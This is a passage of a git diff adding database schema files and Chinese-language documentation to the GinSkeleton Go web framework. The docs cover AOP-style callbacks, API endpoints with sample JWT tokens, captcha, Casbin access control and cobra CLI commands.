status smallint DEFAULT 1, + remark character varying(120) DEFAULT ''::character varying, + last_login_time timestamp without time zone, + last_login_ip character varying(20) DEFAULT ''::character varying, + login_times integer DEFAULT 0, + created_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP, + updated_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP +); + + +ALTER TABLE web.tb_users OWNER TO postgres; + +-- +-- TOC entry 197 (class 1259 OID 16589) +-- Name: tb_users_id_seq; Type: SEQUENCE; Schema: web; Owner: postgres +-- + +CREATE SEQUENCE web.tb_users_id_seq + AS integer + START WITH 1 + INCREMENT BY 1 + NO MINVALUE + NO MAXVALUE + CACHE 1; + + +ALTER TABLE web.tb_users_id_seq OWNER TO postgres; + +-- +-- TOC entry 2858 (class 0 OID 0) +-- Dependencies: 197 +-- Name: tb_users_id_seq; Type: SEQUENCE OWNED BY; Schema: web; Owner: postgres +-- + +ALTER SEQUENCE web.tb_users_id_seq OWNED BY web.tb_users.id; + + +-- +-- TOC entry 2696 (class 2604 OID 16612) +-- Name: tb_auth_casbin_rule id; Type: DEFAULT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_auth_casbin_rule ALTER COLUMN id SET DEFAULT nextval('web.tb_auth_casbin_rule_id_seq'::regclass); + + +-- +-- TOC entry 2708 (class 2604 OID 16632) +-- Name: tb_oauth_access_tokens id; Type: DEFAULT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_oauth_access_tokens ALTER COLUMN id SET DEFAULT nextval('web.tb_oauth_access_tokens_id_seq'::regclass); + + +-- +-- TOC entry 2685 (class 2604 OID 16594) +-- Name: tb_users id; Type: DEFAULT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_users ALTER COLUMN id SET DEFAULT nextval('web.tb_users_id_seq'::regclass); + + +-- +-- TOC entry 2848 (class 0 OID 16609) +-- Dependencies: 200 +-- Data for Name: tb_auth_casbin_rule; Type: TABLE DATA; Schema: web; Owner: postgres +-- + + + +-- +-- TOC entry 2850 (class 0 OID 16629) +-- Dependencies: 202 +-- Data for Name: tb_oauth_access_tokens; Type: TABLE DATA; Schema: web; Owner: postgres +-- + + + +-- +-- TOC entry 2846 (class 0 OID 16591) +-- Dependencies: 198 +-- Data for Name: tb_users; Type: TABLE DATA; Schema: web; Owner: postgres +-- + + + +-- +-- TOC entry 2859 (class 0 OID 0) +-- Dependencies: 199 +-- Name: tb_auth_casbin_rule_id_seq; Type: SEQUENCE SET; Schema: web; Owner: postgres +-- + +SELECT pg_catalog.setval('web.tb_auth_casbin_rule_id_seq', 1, false); + + +-- +-- TOC entry 2860 (class 0 OID 0) +-- Dependencies: 201 +-- Name: tb_oauth_access_tokens_id_seq; Type: SEQUENCE SET; Schema: web; Owner: postgres +-- + +SELECT pg_catalog.setval('web.tb_oauth_access_tokens_id_seq', 2, true); + + +-- +-- TOC entry 2861 (class 0 OID 0) +-- Dependencies: 197 +-- Name: tb_users_id_seq; Type: SEQUENCE SET; Schema: web; Owner: postgres +-- + +SELECT pg_catalog.setval('web.tb_users_id_seq', 8, true); + + +-- +-- TOC entry 2721 (class 2606 OID 16626) +-- Name: tb_auth_casbin_rule tb_auth_casbin_rule_pkey; Type: CONSTRAINT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_auth_casbin_rule + ADD CONSTRAINT tb_auth_casbin_rule_pkey PRIMARY KEY (id); + + +-- +-- TOC entry 2723 (class 2606 OID 16647) +-- Name: tb_oauth_access_tokens tb_oauth_access_tokens_pkey; Type: CONSTRAINT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_oauth_access_tokens + ADD CONSTRAINT tb_oauth_access_tokens_pkey PRIMARY KEY (id); + + +-- +-- TOC entry 2718 (class 2606 OID 16606) +-- Name: tb_users tb_users_pkey; Type: CONSTRAINT; Schema: web; Owner: postgres +-- + +ALTER TABLE ONLY web.tb_users + ADD CONSTRAINT tb_users_pkey PRIMARY KEY (id); + + +-- +-- TOC entry 2719 (class 1259 OID 16662) +-- Name: idx_web_tb_auth_casbin_rule; Type: INDEX; Schema: web; Owner: postgres +-- + +CREATE UNIQUE INDEX idx_web_tb_auth_casbin_rule ON web.tb_auth_casbin_rule USING btree (ptype, v0, v1, v2, v3, v4, v5); + + +-- Completed on 2021-08-04 12:22:02 + +-- +-- PostgreSQL database dump complete +-- + diff --git a/GinSkeleton/database/db_demo_sqlserver.sql b/GinSkeleton/database/db_demo_sqlserver.sql new file mode 100644 index 0000000..d39d330 --- /dev/null +++ b/GinSkeleton/database/db_demo_sqlserver.sql @@ -0,0 +1,52 @@ +-- 创建数据库,例如: db_goskeleton +USE [master] +IF NOT EXISTS(SELECT 1 FROM sysdatabases WHERE NAME=N'db_goskeleton') +BEGIN +CREATE DATABASE db_goskeleton +END +GO +use db_goskeleton ; +-- 创建用户表 +CREATE TABLE [dbo].[tb_users]( + [id] [int] IDENTITY(1,1) NOT NULL, + [user_name] [nvarchar](50) NOT NULL , + [pass] [varchar](128) NOT NULL , + [real_name] [nvarchar](30) DEFAULT (''), + [phone] [char](11) DEFAULT (''), + [status] [tinyint] DEFAULT (1), + [remark] [nvarchar](120) DEFAULT (''), + [last_login_time] [datetime] DEFAULT (getdate()), + [last_login_ip] [varchar](128) DEFAULT (''), + [login_times] [int] DEFAULT ((0)), + [created_at] [datetime] DEFAULT (getdate()), + [updated_at] [datetime] DEFAULT (getdate()) + ); +-- -- 创建token表 + +CREATE TABLE [dbo].[tb_oauth_access_tokens]( + [id] [int] IDENTITY(1,1) NOT NULL, + [fr_user_id] [int] DEFAULT ((0)), + [client_id] [int] DEFAULT ((0)), + [token] [varchar](500) DEFAULT (''), + [action_name] [varchar](50) DEFAULT ('login') , + [scopes] [varchar](128) DEFAULT ('*') , + [revoked] [tinyint] DEFAULT ((0)), + [client_ip] [varchar](128) DEFAULT (''), + [created_at] [datetime] DEFAULT (getdate()) , + [updated_at] [datetime] DEFAULT (getdate()) , + [expires_at] [datetime] DEFAULT (getdate()) , + [remark] [nchar](120) DEFAULT ('') + ) ; + +-- -- 创建 tb_casbin 接口鉴权表 +CREATE TABLE [dbo].[tb_auth_casbin_rule]( + [id] [int] IDENTITY(1,1) NOT NULL, + [ptype] [varchar](100) DEFAULT ('p'), + [v0] [varchar](100) DEFAULT (''), + [v1] [varchar](100) DEFAULT (''), + [v2] [varchar](100) DEFAULT (''), + [v3] [varchar](100) DEFAULT (''), + [v4] [varchar](100) DEFAULT (''), + [v5] [varchar](100) DEFAULT (''), + [remark] [nchar](120) DEFAULT ('') + ) ; \ No newline at end of file diff --git a/GinSkeleton/docs/aop.md b/GinSkeleton/docs/aop.md new file mode 100644 index 0000000..ad1c141 --- /dev/null +++ b/GinSkeleton/docs/aop.md @@ -0,0 +1,102 @@ +### 控制器 Aop 面向切面编程,优雅地模拟其他语言的动态代理方案。 +> 备注:真正的`Aop` 动态代理,在 `golang` 实现起来非常麻烦,尽管github有相关实现的包(https://github.com/bouk/monkey), 此包明确说明仅用于生产环境之外的测试环境,还有一部分使用非常复杂,因此本项目骨架没有引入第三方包。 +> 需求场景: +> 1.用户删除数据,需要前置和后置回调函数,但是又不想污染控制器核心代码,此时可以考虑使用Aop思想实现。 +> 2.我们以调用控制器函数 `Users/Destroy` 函数为例,进行演示。 + +#### 前置、后置回调最普通的实现方案 +> 此种方案,前置和后置代码比较多的时候,会造成控制器核心代码污染。 +```go + +func (u *Users) Destroy(context *gin.Context) { + + // before 删除之前回调代码... 例如:判断删除数据的用户是否具备相关权限等 + + userid := context.GetFloat64(consts.ValidatorPrefix + "id") + // 根据 userid 执行删除用户数据(最核心代码) + + // after 删除之后回调代码... 例如 将删除的用户数据备份到相关的历史表 + +} + +``` + +#### 使用 Aop 思想实现前置和后置回调需求 +> 1.编写删除数据之前(Before)的回调函数,[示例代码](../app/aop/users/destroy_before.go) + +```bash +package Users + +import ( + "goskeleton/app/global/consts" + "fmt" + "github.com/gin-gonic/gin" +) + +// 模拟Aop 实现对某个控制器函数的前置(Before)回调 + +type destroy_before struct{} + +// 前置函数必须具有返回值,这样才能控制流程是否继续向下执行 +func (d *destroy_before) Before(context *gin.Context) bool { + userId := context.GetFloat64(consts.ValidatorPrefix + "id") + fmt.Printf("模拟 Users 删除操作, Before 回调,用户ID:%.f\n", userId) + if userId > 10 { + return true + } else { + return false + } +} + +``` +> 2.编写删除数据之后(After)的回调,[示例代码](../app/aop/users/destroy_after.go) + +```bash + +package users + +import ( + "goskeleton/app/global/consts" + "fmt" + "github.com/gin-gonic/gin" +) + +// 模拟Aop 实现对某个控制器函数的后置(After)回调 + +type destroy_after struct{} + +func (d *destroy_after) After(context *gin.Context) { + // 后置函数可以使用异步执行 + go func() { + userId := context.GetFloat64(consts.ValidatorPrefix + "id") + fmt.Printf("模拟 Users 删除操作, After 回调,用户ID:%.f\n", userId) + }() +} + + +``` + +> 3.由于本项目骨架的控制器调用都是统一由验证器启动,因此在验证器调用控制器函数的地方,使用匿名函数,直接优雅地切入前置、后置回调代码,[示例代码](../app/http/validator/web/users/destroy.go) +```go + +//(&Web.Users{}).Destroy(extraAddBindDataContext) // 原始方法进行如下改造 + +// 使用匿名函数切入前置和后置回调函数 +func(before_callback_fn func(context *gin.Context) bool, after_callback_fn func(context *gin.Context)) { + + if before_callback_fn(extraAddBindDataContext) { + defer after_callback_fn(extraAddBindDataContext) + (&Web.Users{}).Destroy(extraAddBindDataContext) + } else { + // 这里编写前置函数验证不通过的相关返回提示逻辑... + + } +}((&Users.destroy_before{}).Before, (&Users.destroy_after{}).After) + +// 接口请求结果展示: +模拟 Users 删除操作, Before 回调,用户ID:16 +真正的控制器函数被执行,userId:16 +模拟 Users 删除操作, After 回调,用户ID:16 +``` + + diff --git a/GinSkeleton/docs/api_doc.md b/GinSkeleton/docs/api_doc.md new file mode 100644 index 0000000..5632630 --- /dev/null +++ b/GinSkeleton/docs/api_doc.md @@ -0,0 +1,233 @@ +### 测试用例接口 +> 1.文档主要提供本项目骨架已经集成的Api接口使用说明。 +> 2.相关测试全部基于`postman`工具进行。 + +### 默认已经集成的路由 + +#### 门户网站类 +>GET http://127.0.0.1:20191 +>GET /api/v1/home/news?newsType=portal&page=1&limit=50 + +#### 后台管理类 +>GET /http://127.0.0.1:20201 +>GET /admin/ws +>POST /admin/users/register +>POST /admin/users/login +>POST /admin/users/refreshtoken +>GET /admin/users/index +>POST /admin/users/create +>POST /admin/users/edit +>POST /admin/users/delete +>POST /admin/upload/file + +#### pprof 路由 +>调试模式自动开启,以pprof开头的路由 +> http://127.0.0.1:20191/debug/pprof/ +> http://127.0.0.1:20201/debug/pprof/ + +### 门户网站类 +> 1.ip、端口使用本项目默认配置,即:`http://127.0.0.1:20191`,门户类接口通用 +#### 1.首页新闻 +> *get*,/api/v1/home/news?newsType=portal&page=1&limit=50 +> 返回示例: +```json +{ + "code": 200, + "data": { + "content": "门户新闻内容001", + "limit": 20, + "newstype": "potal", + "page": 1, + "title": "门户首页公司新闻标题001", + "user_ip": "127.0.0.1" + }, + "msg": "Success" +} +``` + + + + +### 后台应用类 +> 1.ip、端口使用本项目默认配置,即:`http://127.0.0.1:20201`,后端管理类系统通用。 + +#### 1.用户注册 +> 表单参数验证器: [register](../app/http/validator/web/users/register.go) +> *post*,/admin/users/register + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +user_name|form-data|string|必填|goskeleton1.4 +pass|form-data|string|必填|goskeleton1.4 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` + +#### 2.用户登录 +> 表单参数验证器: [login](../app/http/validator/web/users/login.go) +> *post*,/admin/users/login + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +user_name|form-data|string|必填|goskeleton1.4 +pass|form-data|string|必填|goskeleton1.4 +captcha_id|form-data|string|如果登录接口使用了验证码中间件,则必填|uY26gnHcHNnhot0lYkG8 +captcha_value|form-data|string|如果登录接口使用了验证码中间件,则必填|1234 + +> 返回示例,关于登陆时是否提交验证码取决于登陆路由(接口)是否加载了验证码中间件. +```json +{ + "code": 200, + "data": { + "phone": "", + "realName": "", + "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTIxNzMsIm5iZiI6MTYwNDA0ODU2M30.YNhN9_QasHc5XILQiilZvhxpPDnmC_j82y4JfYPnI7A", + "updated_at": "2020-10-30 17:02:53", + "userId": 47, + "user_name": "goskeleton1.4" + }, + "msg": "Success" +} +``` + +#### 3.根据关键词查询用户表 +> 表单参数验证器: [index](../app/http/validator/web/users/show.go) +> *get*,/admin/users/index ,注意该接口需要token鉴权,请在 `header` 头添加 `Authorization` 字段值,注意:该字段的值格式:Bearer (token)之间有一个空格, 这个是行业标准,网页端显示换行,不要被误导! +> CURD相关的其他接口格式与本接口基本一致,例如:/admin/users/create、/admin/users/edit、/admin/users/delete,只不过表单参数不一致。 + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTIxNzMsIm5iZiI6MTYwNDA0ODU2M30.YNhN9_QasHc5XILQiilZvhxpPDnmC_j82y4JfYPnI7A +user_name|form-data|string|必填|g +page|form-data|int|必填|1 +limit|form-data|int|必填|20 + +> 返回示例: +```json +{ + "code": 200, + "data": [ + { + "user_name": "zhang001", + "phone": "1660177xxxx", + "real_name": "张三丰", + "status": 1, + "token": "", + "last_login_ip": "" + }, + { + "user_name": "goskeleton51", + "phone": "1580403xxxx", + "real_name": "新的姓名", + "status": 1, + "token": "", + "last_login_ip": "" + } + ], + "msg": "Success" +} +``` + +#### 4.新增用户 +> 表单参数验证器: [create](../app/http/validator/web/users/store.go) +> *post*,/admin/users/create ,注意该接口需要token鉴权,请在 `header` 头添加 `Authorization` 字段值,注意:该字段的值格式:Bearer (token)之间有一个空格, 这个是行业标准,网页端显示换行,不要被误导! + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer 登陆后获取的token +user_name|form-data|string|必填|goskeleto002 +pass|form-data|string|必填|goskeleto002 +real_name|form-data|string|必填|goskeleto002 +phone|form-data|string|必填|1580403xxxx +remark|form-data|string|非必填|备注信息 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` + +#### 5.更新用户 +> 表单参数验证器: [edit](../app/http/validator/web/users/update.go) +> *post*,/admin/users/edit ,注意该接口需要token鉴权,请在 `header` 头添加 `Authorization` 字段值,注意:该字段的值格式:Bearer (token)之间有一个空格, 这个是行业标准,网页端显示换行,不要被误导! + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer 登陆后获取的token +id|form-data|int|必填|51 +user_name|form-data|string|必填|goskeleto002 +pass|form-data|string|必填|goskeleto002 +real_name|form-data|string|必填|goskeleto002 +phone|form-data|string|必填|1580403xxxx +remark|form-data|string|非必填|备注信息 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` +#### 6.删除用户 +> 表单参数验证器: [delete](../app/http/validator/web/users/destroy.go) +> *post*,/admin/users/delete ,注意该接口需要token鉴权,请在 `header` 头添加 `Authorization` 字段值,注意:该字段的值格式:Bearer (token)之间有一个空格, 这个是行业标准,网页端显示换行,不要被误导! + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer 登陆后获取的token +id|form-data|int|必填|51 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` + +#### 7.token刷新 ,请将旧token放置在header头参数直接提交更新 +> 表单参数验证器: [refresh_token](../app/http/validator/web/users/refresh_token.go) +> *post*,/admin/users/refreshtoken + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTIxNzMsIm5iZiI6MTYwNDA0ODU2M30.YNhN9_QasHc5XILQiilZvhxpPDnmC_j82y4JfYPnI7A + +> 返回示例: +```json +{ + "code": 200, + "data": { + "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTYxMDcsIm5iZiI6MTYwNDA0ODU2M30.JPE6G-9YE9UTdxHiWuvdVlD-akiIkvp6Ezf9y4_ud9M" + }, + "msg": "Success" +} +``` + +#### 8.文件上传 +> 表单参数验证器: [upload_fiels](../app/http/validator/common/upload_files/upload_fiels.go) +> *post*,/admin/upload/files + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTIxNzMsIm5iZiI6MTYwNDA0ODU2M30.YNhN9_QasHc5XILQiilZvhxpPDnmC_j82y4JfYPnI7A +file|form-data|string|必填|(注意表单键名为files,如果需要修改成别的键名,参见:App\Global\Variable\Variable.go ,UploadFileField=files) +> 返回示例: +```json +{ + "code": 200, + "data": { + "path": "/storage/app/uploaded/3c5d5f59484cad593e46d7fe0c6b078e.sql" + }, + "msg": "Success" +} +``` +> postman 直接上传文件相关参数 +![文件上传](https://www.ginskeleton.com/images/upload.png) \ No newline at end of file diff --git a/GinSkeleton/docs/bench_cpu_memory.md b/GinSkeleton/docs/bench_cpu_memory.md new file mode 100644 index 0000000..74e8e4e --- /dev/null +++ b/GinSkeleton/docs/bench_cpu_memory.md @@ -0,0 +1,6 @@ +### 并发测试 +> 2核8G阿里云服务器, 并发(Qps)可以达到1w+,所有请求100%成功! +![压力测试图](https://www.ginskeleton.com/concurrent.png) + +> 4核8G阿里云服务器, 并发(Qps)可以达到1.6w+,所有请求100%成功! +![压力测试图](https://www.ginskeleton.com/images/bench_test2.png) diff --git a/GinSkeleton/docs/captcha.md b/GinSkeleton/docs/captcha.md new file mode 100644 index 0000000..1deaeab --- /dev/null +++ b/GinSkeleton/docs/captcha.md @@ -0,0 +1,50 @@ +## 验证码 +> 1.基于 `github.com/dchest/captcha` 包封装. +> 2.本项目只提供了数字验证功能,没有封装语音验证功能. + +### 定义的路由地址 +> 1.[路由地址](../routers/web.go) + +### 验证码业务控制器地址 +> 1.[验证码业务](../app/http/controller/chaptcha/chaptcha.go) , 验证数字长度、验证码尺寸(宽 x 高)在这里设置. + +### 使用步骤 +> 1.获取验证码ID等信息 +```code + # get 方式请求获取验证ID等信息 + http://127.0.0.1:20201/captcha/ + + #返回值中携带了获取验证码图片的地址以及校验地址 + +``` +> 2.获取验证码 +```code + # get , 根据步骤1中返回值提示获取 验证码ID + http://127.0.0.1:20201/captcha/验证码ID.png +``` + +> 3.校验验证码 +```code + # get , 根据步骤1中返回值提示进行校验验证即可 + http://127.0.0.1:20201/captcha/验证码ID/验证码正确值 +``` + +### 任何路由(接口)都可以调用我们封装好的验证码中间件 +- 1.已经封装好的验证码中间件:authorization.CheckCaptchaAuth() +- 2.一般是登录接口,需要验证码校验,那么我们可以直接调用验证码中间件增加校验机制。 +- 3.注意:如果直接调用了验证码中间件,一般都是和登陆接口搭配,所以请求方式为 `POST` + +```code + + // 已有的登陆接口(路由),不需要验证码即可登陆 + noAuth.POST("login", validatorFactory.Create(consts.ValidatorPrefix+"UsersLogin")) + + // 只需要添加验证码中间件即可启动登陆前的验证机制 + // 本质上就是给登陆接口增加了2个参数:验证码id提交时的键:captcha_id 和 验证码值提交时的键 captcha_value,具体参见配置文件 + //noAuth.Use(authorization.CheckCaptchaAuth()).POST("login", validatorFactory.Create(consts.ValidatorPrefix+"UsersLogin")) + +``` + +### 备注说明 +> 1.验证码ID一旦提交到校验接口(步骤3)进行验证,不管输入的验证码正确与否,该ID都会失败,需要从步骤1开始重新获取. + \ No newline at end of file diff --git a/GinSkeleton/docs/casbin.md b/GinSkeleton/docs/casbin.md new file mode 100644 index 0000000..bea8fe6 --- /dev/null +++ b/GinSkeleton/docs/casbin.md @@ -0,0 +1,88 @@ +### 本篇将介绍Casbin模块的基本用法 +> 1.Casbin(https://github.com/casbin/casbin) 提供了一款跨语言的接口访问权限管控机制,针对go语言支持的最为全面. +> 2.该模块的使用看起来非常复杂,只要理解了其核心思想,使用是非常简单易懂的. + + +### 前言 +> 1.`Casbin` 的初始化在 GinSkeleton 主线版本默认没有开启,请参照配置文件(config/config.yml)文件中 `casbin` 部分,自行决定是否开启,默认的配置项属于标准配置,基本不需要改动. +> 2.配置文件开启 Casbin 模块后,默认会在连接的数据库创建一张表,具体表名参见配置文件说明. + +### 根据用户请求接口时头部附带的token解析用户id等信息 +> 每个用户带有token的请求,在验证ok之后自动会将token绑定在上下文(gin.Context) ,绑定的键名默认为: userToken(配置文件可自行设置键名) +> 通过token解析出用户id等信息的代码如下: +```code +currentUser, exist := context.MustGet("userToken").(my_jwt.CustomClaims) + + if exist { + fmt.Printf("userId:%d\n",currentUser.UserId) + } + +``` + +### Casbin 相关的几个功能介绍 +> 1.Casbin 中间件,相关位置: app/http/middleware/authorization/auth.go, 中间件的作用介绍: +```code + +// casbin检查用户对应的角色权限是否允许访问接口 +func CheckCasbinAuth() gin.HandlerFunc { + return func(c *gin.Context) { + + requstUrl := c.Request.URL.Path + method := c.Request.Method + + // 这里根据用户请求时头部的 token 解析出用户id,根据用户id查询出该用户所拥有的角色id(roleId) + // 主线版本的程序中 角色表需要开发者自行创建、管理,Ginskeleton-Admin 系统则集成了所有的基础功能 + // 根据角色(roleId)判断是否具有某个接口的权限 + roleId := "2" // 模拟最终解析出用户对应的角色为 2 + + // 使用casbin自带的函数执行策略(规则)验证 + isPass, err := variable.Enforcer.Enforce(role, requstUrl, method) + if err != nil { + response.ErrorCasbinAuthFail(c, err.Error()) + return + } else if !isPass { + response.ErrorCasbinAuthFail(c, "") + } else { + c.Next() + } + } +} + +``` + +### Casbin 用法 +> 1.Casbin 负责检查用户请求时后台是否允许访问某个接口(路由地址),作为用户的一次请求,主要有三个要素: +> 1.1 请求的地址(url) +> 1.2 请求的方式(GET 、 POST 等) +> 1.3 请求时用户的身份(角色Id,可以根据token解析出用户id,再根据用户id查询出对应的角色ID) +> 2.Casbin会根据用户请求的三个要求匹配数据库相关设置,匹配成功方可进入路由,否则直接在中间件拦截本次请求. +```code + // 【需要token】中间件验证的路由 + // 在某个分组或者模块,我们追加token校验完成后的具体模块接口校验机制 + // 追加 authorization.CheckCasbinAuth() 中间件,凡是用户访问就必须经过 token校验+casbin 接口权限校验 + // casbin 匹配策略时需要将用户id 转为角色id,因此必须放在 token 中间件后面(token中才能解析出用户id) + backend.Use(authorization.CheckTokenAuth(), authorization.CheckCasbinAuth() ) + { + // 用户组路由 + users := backend.Group("users/") + { + // 查询 + users.GET("list", validatorFactory.Create(consts.ValidatorPrefix+"UserList")) + // 新增 + users.POST("create", validatorFactory.Create(consts.ValidatorPrefix+"UserCreate")) + // 更新 + users.POST("edit", validatorFactory.Create(consts.ValidatorPrefix+"UserEdit")) + // 删除 + users.POST("destroy", validatorFactory.Create(consts.ValidatorPrefix+"UserDestroy")) + + } + } + +``` + + +### Casbin 核心数据表 +> 只要在配置文件(config/config.yml)开启Casbin相关的配置项,程序启动会默认创建一个表:tb_auth_casbin_rule ,开发者按照示例将数据写入该表即可. +> 表数据的字段含义介绍请参见截图标注的文本. + +![tb_casbin_rules](https://www.ginskeleton.com/images/casbin_introduce.jpg) diff --git a/GinSkeleton/docs/cobra.md b/GinSkeleton/docs/cobra.md new file mode 100644 index 0000000..e48973e --- /dev/null +++ b/GinSkeleton/docs/cobra.md @@ -0,0 +1,155 @@ +### cobra 概要 +> 1.`cobra`是一款非常强大、好用的`command`模式包,主要创建非http接口服务。 +> 2.`cobra`的全方位功能、细节介绍请自行百度搜索,这里主要介绍如何在本项目骨架中快速使用`cobra`编写程序。 +### 关于 cobra入口、业务目录 +> 1.入口:`cmd/command/main.go`,主要用于编译。 +> 2.业务代码目录:`command/cmd/`。 +> +### cobra 快速使用指南 +> 快速创建模板的方法主要有: +> 1.复制`command/cmd/demo.go`基于此模板自行修改。 +> 2.进入`command` 目录,执行命令 `cobra add 业务模块名`,也可以快速创建出模板文件。 + +#### demo.go 代码介绍 + +```go +package cmd + +import ( + "fmt" + "github.com/spf13/cobra" +) + +// demo示例文件,我们假设一个场景: +// 通过一个命令指定 搜索引擎(百度、搜狗、谷歌)、搜索类型(文本、图片)、关键词 执行一系列的命令 + +var ( + // 1.定义一个变量,接收搜索引擎(百度、搜狗、谷歌) + SearchEngines string + // 2.搜索的类型(图片、文字) + SearchType string + // 3.关键词 + KeyWords string +) + +var logger = variable.ZapLog.Sugar() + +// 定义命令 +var demo = &cobra.Command{ + Use: "sousuo", + Aliases: []string{"sou", "ss", "s"}, // 定义别名 + Short: "这是一个demo,以搜索内容进行演示业务逻辑...", + Long: `调用方法: + 1.进入项目根目录(Ginkeleton)。 + 2.执行 go run cmd/cli/main.go sousuo -h //可以查看使用指南 + 3.执行 go run cmd/cli/main.go sousuo 任意参数 // 快速运行一个demo + 4.执行 go run cmd/cli/main.go sousuo -K 关键词 -E baidu -T img // 指定参数运行demo + `, + //Args: cobra.ExactArgs(2), // 限制非flag参数(也叫作位置参数)的个数必须等于 2 ,否则会报错 + // Run命令以及子命令的前置函数 + PersistentPreRun: func(cmd *cobra.Command, args []string) { + //如果只想作为子命令的回调,可以通过相关参数做判断,仅在子命令执行 + logger.Infof("Run函数子命令的前置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, + // Run命令的前置函数 + PreRun: func(cmd *cobra.Command, args []string) { + logger.Infof("Run函数的前置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + + }, + // Run 命令是 核心 命令,其余命令都是为该命令服务,可以删除,由您自由选择 + Run: func(cmd *cobra.Command, args []string) { + //args 参数表示非flag(也叫作位置参数),该参数默认会作为一个数组存储。 + //fmt.Println(args) + start(SearchEngines, SearchType, KeyWords) + }, + // Run命令的后置函数 + PostRun: func(cmd *cobra.Command, args []string) { + logger.Infof("Run函数的后置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, + // Run命令以及子命令的后置函数 + PersistentPostRun: func(cmd *cobra.Command, args []string) { + //如果只想作为子命令的回调,可以通过相关参数做判断,仅在子命令执行 + logger.Infof("Run函数子命令的后置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, +} + +// 注册命令、初始化参数 +func init() { + rootCmd.AddCommand(demo) + demo.Flags().StringVarP(&SearchEngines, "Engines", "E", "baidu", "-E 或者 --Engines 选择搜索引擎,例如:baidu、sogou") + demo.Flags().StringVarP(&SearchType, "Type", "T", "img", "-T 或者 --Type 选择搜索的内容类型,例如:图片类") + demo.Flags().StringVarP(&KeyWords, "KeyWords", "K", "关键词", "-K 或者 --KeyWords 搜索的关键词") + //demo.Flags().BoolP(1,2,3,5) //接收bool类型参数 + //demo.Flags().Int64P() //接收int型 +} + +//开始执行 +func start(SearchEngines, SearchType, KeyWords string) { + + logger.Infof("您输入的搜索引擎:%s, 搜索类型:%s, 关键词:%s\n", SearchEngines, SearchType, KeyWords) + +} + + +``` + +#### 运行以上代码 +```go + +go run cmd/cli/main.go sousuo 测试demo -E 百度 -T 图片 -K 关键词 + +// 结果 + +Run函数子命令的前置方法,位置参数:测试demo ,flag参数:百度, 图片, 关键词 +Run函数的前置方法,位置参数:测试demo ,flag参数:百度, 图片, 关键词 +您输入的搜索引擎:百度, 搜索类型:图片, 关键词:关键词 +Run函数的后置方法,位置参数:测试demo ,flag参数:百度, 图片, 关键词 +Run函数子命令的后置方法,位置参数:测试demo ,flag参数:百度, 图片, 关键词 + +``` + +#### 子命令的定义与使用 +```go +package cmd + +import ( + "fmt" + "github.com/spf13/cobra" +) + +// 定义子命令 +var subCmd = &cobra.Command{ + Use: "subCmd", + Short: "subCmd 命令简要介绍", + Long: `命令使用详细介绍`, + Args: cobra.ExactArgs(1), // 限制非flag参数的个数 = 1 ,超过1个会报错 + Run: func(cmd *cobra.Command, args []string) { + fmt.Println("测试子命令被嵌套调用:" + args[0]) + }, +} + +//注册子命令 +func init() { + demo.AddCommand(subCmd) + // 子命令仍然可以定义 flag 参数,相关语法参见 demo.go 文件 +} + + +``` + + +#### 运行以上代码 +```go + +go run cmd/cli/main.go sousuo subCmd 子命令参数 + +// 结果 +Run函数子命令的前置方法,位置参数:子命令参数 ,flag参数:baidu, img, 关键词 +子命令参数 +Run函数子命令的后置方法,位置参数:子命令参数 ,flag参数:baidu, img, 关键词 + +``` + +#### 如果文件分布在子目录,创建方式 +[创建子目录命令](https://gitee.com/daitougege/gin-skeleton-admin-backend/tree/master/command/cmd) + \ No newline at end of file diff --git a/GinSkeleton/docs/concise.md b/GinSkeleton/docs/concise.md new file mode 100644 index 0000000..a050838 --- /dev/null +++ 